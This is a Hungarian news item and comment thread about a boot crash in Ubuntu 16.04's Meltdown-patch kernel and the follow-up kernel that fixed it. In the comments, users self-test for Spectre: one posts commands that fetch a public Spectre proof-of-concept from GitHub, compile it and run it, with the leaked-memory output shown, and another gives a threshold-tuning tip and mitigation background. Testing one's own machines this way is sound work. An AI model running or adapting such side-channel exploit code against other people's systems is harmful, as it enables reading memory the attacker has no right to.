Egyes Ubuntu 16.04 felhasználóknál is gondot okozott a Meltdown patch

Ubuntu

Miután az Ubuntu kiadta a Meltdown javítást tartalmazó kerneleit, több felhasználó is arra panaszkodott, hogy a 4.4.0-108 jelű kernelt indítva a rendszere bootoláskor összeomlott. A Launchpad-en indított #1742323-as hibajegy is erről számol be. Természetesen az érintett felhasználók bootkor a korábbi kernelt kiválasztva tovább használhatták gépüket. Az Ubuntu 24 órán belül reagált a problémára, kiadta a 4.4.0-109-es kernelt, amely a visszajelzések szerint orvosolta a boot crash problémát.

( szeim v | 2018. 01. 11., cs – 08:37 )

Hát, a Spectre javítások még tényleg nincsenek benne... :(

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04.3 LTS
Release: 16.04
Codename: xenial

$ uname -a
Linux szeimgep 4.4.0-109-generic #132-Ubuntu SMP Tue Jan 9 19:52:39 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

$ cat /proc/cpuinfo | grep "model name"
model name : Intel(R) Core(TM) i7-7500U CPU @ 2.70GHz

$ wget https://raw.githubusercontent.com/Eugnis/spectre-attack/master/Source.c
$ gcc -std=c99 Source.c -o spectre.out
$ ./spectre.out
Putting 'The Magic Words are Squeamish Ossifrage.' in memory, address 0x400cf8
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfec58... Unclear: 0x54='T' score=934 (second best: 0x01='?' score=724)
Reading at malicious_x = 0xffffffffffdfec59... Unclear: 0x68='h' score=997 (second best: 0x01='?' score=755)
Reading at malicious_x = 0xffffffffffdfec5a... Unclear: 0x65='e' score=997 (second best: 0x01='?' score=773)
Reading at malicious_x = 0xffffffffffdfec5b... Unclear: 0x20=' ' score=995 (second best: 0x01='?' score=738)
Reading at malicious_x = 0xffffffffffdfec5c... Unclear: 0x4D='M' score=995 (second best: 0x01='?' score=723)
Reading at malicious_x = 0xffffffffffdfec5d... Unclear: 0x61='a' score=997 (second best: 0x01='?' score=759)
Reading at malicious_x = 0xffffffffffdfec5e... Unclear: 0x67='g' score=997 (second best: 0x01='?' score=720)
Reading at malicious_x = 0xffffffffffdfec5f... Unclear: 0x69='i' score=999 (second best: 0x01='?' score=703)
Reading at malicious_x = 0xffffffffffdfec60... Unclear: 0x63='c' score=996 (second best: 0x01='?' score=737)
Reading at malicious_x = 0xffffffffffdfec61... Unclear: 0x20=' ' score=996 (second best: 0x01='?' score=779)
[....]

A readme https://github.com/Eugnis/spectre-attack azt mondja, hogy ha ezt látom, akkor sebezhető vagyok.

Ugyanezt egy ősrégi gépen:

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04.3 LTS
Release: 16.04
Codename: xenial

$ uname -a (régi kernel, még nem frissítettem)
Linux zajos 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

$ cat /proc/cpuinfo | grep "model name"
model name : Intel(R) Pentium(R) D CPU 2.66GHz

$ wget https://raw.githubusercontent.com/Eugnis/spectre-attack/master/Source.c
$ gcc -std=c99 Source.c -o spectre.out
$ ./spectre.out
Putting 'The Magic Words are Squeamish Ossifrage.' in memory, address 0x400cf8
Reading 40 bytes:
Illegal instruction (core dumped)

írd át a CACHE_HIT_THRESHOLD értékét 80-ról 120-ra, és nézd meg úgy is. Egyébként a Spectre ellen ki milyen patchre számít? Ezt nem lehet szoftverből javítani, legfeljebb elfedni a hatását (mondjuk hogy ellenőrizetlen user input ne tudjon kutakodni a memóriában, pl. JS a Firefoxban). A kernel patchek a 3-as variációra szólnak (a Meltdown), hogy userspaceből ne lehessen a kernel memóriában kutakodni (és ez sem javítás, egyszerűen a process címterében nem lesz többé ott a kernel memória).

A Firefoxban pl. úgy orvosolják jelenleg, hogy lerontják a nagy felbontású timerek nagy felbontását, hogy ne lehessen JS-ből memóriahozzáférési-időt mérni. És ezer +1 ilyen hackre lesz szükség minden olyan helyen, ahol user inputnak lehetősége van rávenni a programot, hogy hasonló memóriahozzáférések idejét mérhesse.

Én átírtam. Lefordítottam, de nincs változás. Ilyen minden sor:
Reading at malicious_x = 0xffffffffffdfebb6... Success: 0xFF='?' score=0
Gondolom ez jó.

---------------------------------------------------------------
Ritkán szólok hozzá dolgokhoz. Így ne várj tőlem interakciót.

( GerzSonka | 2018. 01. 11., cs – 09:20 )

Na ha valakinek nem lett volna tiszta: EZÉRT nem megy be 17.04-be, és ezért a legértelmesebb döntés azt úgy hagyni, ahogy van!
--
"Always code as if the guy who ends up maintaining your code will be a violent psychopath who knows where you live." John F. Woods

( horvatha | 2018. 01. 11., cs – 10:18 )

Akkor ez lehet az oka a következőnek:
1) Tegnap (jan 10) este az otthoni Ubuntu 16.04-em kernelt frissített. Innen nem látom, milyen verzióra, de szerintem a Meltdown-os volt.
2) Ma (jan 11) reggel a munkahelyemen indítottam a frissítést, de nem talált frissítendőt.

Visszavonták a csomagot?

Amúgy az otthoni masinámon nem volt probléma. Egy Python-NumPy-s cuccomon, amin épp dolgozok, 1.5% lassulást mértem gyorsan.

( ricsipontaz | 2018. 01. 11., cs – 13:00 )

Én reggel a 18.04-en jártam így, a 17.10-es verziónál viszont nem tapasztaltam ezt a hibát.

( Nyegleo v | 2018. 01. 11., cs – 13:26 )

Nem csak az Ubuntu, Mint alatt se leányregény a történet. A gép a frissített a 4.13-as kernelre és magában ugyan rendesen elindult, de ha dokkolóban indítom el, akkor megáll a grub után, mint a cövek. A megoldás végül az előző kernelre (4.10) visszatérés volt.

TP x230, i5, Linux Mint 18.3 Cinnamon

( asch v | 2018. 01. 11., cs – 13:36 )

16.04-es Ubuntun a vmlinuz-4.4.0-109-generic image-gel (tehát a patch első patchjével) lefagyott a host gép VirtualBox VM boot induláskor (kétszer is, többször nem próbáltam).

"Megoldásként" az előző kernelre visszatértem grub menűből (nem lett autoremove-olva), és azzal már működik, ahogy régen is. ("sudo dkms autoinstall" után, ami a vbox kernel modul újraforgatása miatt kellett, mert az valamiért le lett törölve időközben.)